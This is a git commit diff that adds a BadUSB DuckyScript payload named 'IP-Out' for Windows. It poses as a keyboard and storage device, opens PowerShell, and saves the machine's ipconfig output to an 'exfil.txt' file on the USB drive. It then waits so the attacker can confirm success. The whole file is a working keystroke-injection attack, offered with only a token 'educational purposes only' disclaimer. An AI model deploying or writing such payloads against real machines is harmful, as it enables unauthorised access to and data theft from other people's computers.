parent
8073d4d9cd
commit
6ad0b7836c
|
@ -0,0 +1,21 @@
|
|||
REM Title: IP-Out
|
||||
REM Author: Mavis Coffey
|
||||
REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB
|
||||
REM Target: Any Windows System
|
||||
REM DISCLAIMER!!! Neither I, nor Hack5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY
|
||||
ATTACKMODE HID STORAGE
|
||||
DELAY 500
|
||||
GUI r
|
||||
DELAY 300
|
||||
STRING Powershell
|
||||
ENTER
|
||||
DELAY 1000
|
||||
STRING ipconfig | Out-File -Filepath D:\exfil.txt -Encoding utf8
|
||||
ENTER
|
||||
WAIT_FOR_STORAGE_ACTIVITY
|
||||
WAIT_FOR_STORAGE_INACTIVITY
|
||||
ALT F4
|
||||
ATTACKMODE OFF
|
||||
REM And should the attacker want to make sure the payload was successful:
|
||||
WAIT_FOR_BUTTON_PRESS
|
||||
ATTACKMODE STORAGE
|
Loading…
Reference in New Issue